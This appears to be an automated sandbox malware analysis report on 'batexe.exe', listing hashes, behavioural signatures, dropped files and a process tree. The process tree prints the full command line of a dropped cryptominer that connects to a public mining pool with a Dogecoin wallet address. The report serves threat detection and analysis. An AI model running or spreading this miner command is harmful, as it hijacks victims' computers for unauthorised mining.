73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
304s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 00:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1412	b2e.exe
2468	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2468	cpuminer-sse2.exe
2468	cpuminer-sse2.exe
2468	cpuminer-sse2.exe
2468	cpuminer-sse2.exe
2468	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4260-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4260 wrote to memory of 1412	4260	batexe.exe	75
PID 4260 wrote to memory of 1412	4260	batexe.exe	75
PID 4260 wrote to memory of 1412	4260	batexe.exe	75
PID 1412 wrote to memory of 4504	1412	b2e.exe	76
PID 1412 wrote to memory of 4504	1412	b2e.exe	76
PID 1412 wrote to memory of 4504	1412	b2e.exe	76
PID 4504 wrote to memory of 2468	4504	cmd.exe	79
PID 4504 wrote to memory of 2468	4504	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4260
- C:\Users\Admin\AppData\Local\Temp\4BE.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\4BE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\4BE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B07.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4504
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\4BE.tmp\b2e.exe

Filesize
3.1MB

MD5
96120993939f45494a2291ac005fc474

SHA1
a3cbe6f79529aebfeeb7adf91dd6b9af72029334

SHA256
238062b41bcb8369b3812623b0835fea1db60ed979c076477c0f9e4f50fbc838

SHA512
04e8b936a4401d1f0fa77d89c125aac6d30e3d56142eb91ff8f4e89f12e5c5b27b619ba4c67996833ecb4571fdd4bef315279951a67b823f64c67ec71f121615

Download Submit
C:\Users\Admin\AppData\Local\Temp\4BE.tmp\b2e.exe

Filesize
2.7MB

MD5
332200ccd1448fa590abe0528e2075a9

SHA1
85207998d4469b0b767def390b7d917147d57c2f

SHA256
a00c62ddfeb533f6afa4b5f6eea330e0f5601e14292a673455cd245dbe9bd370

SHA512
a1e5f8b83cb8f6f7de427fd4e3cf0c0d6de18b20bd26d7a3887ceb9af9c411aca4aa7d8aee854a6fe85196b2af1c6a4b6c9a1cb8edb30aef21bb923528037961

Download Submit
C:\Users\Admin\AppData\Local\Temp\B07.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
fe56648939e7f8fe35bb1a37791d3538

SHA1
623f7e0afd6cda5af7a9d78cd37a898c19896cf7

SHA256
5256ca7376089af3c3899a2247d4d1c0da11d49332faa8982456e06d1a2e9fd3

SHA512
1cc600c7d6df26006321b2e5a667125cc50c39730301a8534f4164b4d6cdc15aee42f13c9fb8869f06951941ecf7210fe9c3ba1fd1e7ab3b94564efad9f55296

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
7a8306cf5af771db854182e351b74f65

SHA1
49edcab173544c2f2bbd9651bc3d17ac6c1a1bb5

SHA256
a827f20fba7c295e72dc7320a6c4cf4e13f6b354476223159b9c6c41babd2a65

SHA512
f18af3a9dcc0f46582e2bb9a81ab01cd2caca62f7051fed01ce1d32abf536d6716b04b3d4ade40bfda2d99dd3bdfaf9c069c9978f3056649b020b34dc8cc69e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
abd1c5445d8504e718af063de7f9bf16

SHA1
7acd851d151fcc48e7530d5e753e200437c1c1a2

SHA256
ac92796639ea4861afcb691b8ab69145b7640c55626a8fef2b5ae03664443b95

SHA512
3c0ba863961623d38e6a9e72a7e73568b0f70f30a2e804b2f8831b9ad165c4fca148aa37aef26606f5b9336ecb1198c9757578d0051e8cc5bd297c8ba15f864d

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
896KB

MD5
f83929cce536e71a3a11e2236c2c6c5f

SHA1
bd0065486a784f1c91e08ada0c3a8f383e23c874

SHA256
f3c7a692875dec174d83dd723c63661fc9de1c0b6548fe3a3f8f8f2015507798

SHA512
815083437ad5659626fba85fa9e31a33ba418d3e1d5f1ec1c7ba77ff5214618493b37821aae3b5b52838ad47f4a7e8c4a3594ee0f970025bc3ee425e9eb50152

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
902KB

MD5
5f04ed428b29b004867b0c3ae499374a

SHA1
4273687c2975c5f71de5a591f720442219e68670

SHA256
ce48c01c89760845e60f1b10104c9f079d7aac5235e41e90fd3e518d7ab6d85a

SHA512
f3843157aa7e349b3ee48f2654a6d89f7696f62e6eb9f1fc403608f62a15df979f21ab7a92ceab926d6c1a6cae25fe8363655ce7d14e4a98e0c40c6980d55fa2

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
856KB

MD5
ab94b91239aa4ad07b8903f251708883

SHA1
d8c9fd2cb166922113cb8e152b7d738c30d54cc1

SHA256
672545c313f261665a29b7b122e0a7ae58c785c6dd6bfd45dfa2c5016f42b115

SHA512
2bec64b38faf0102d59f466a84124deae6defa9de5f8c40d9b29052f56223ce896cf4c75efe0df8d08300edc0b8a455d19924bb952ecc767e7df05ff2f49c889

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1412-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1412-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2468-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2468-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2468-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2468-43-0x0000000052D70000-0x0000000052E08000-memory.dmp

Filesize
608KB

Download
memory/2468-44-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/2468-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2468-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2468-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2468-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2468-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2468-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2468-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2468-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2468-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4260-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download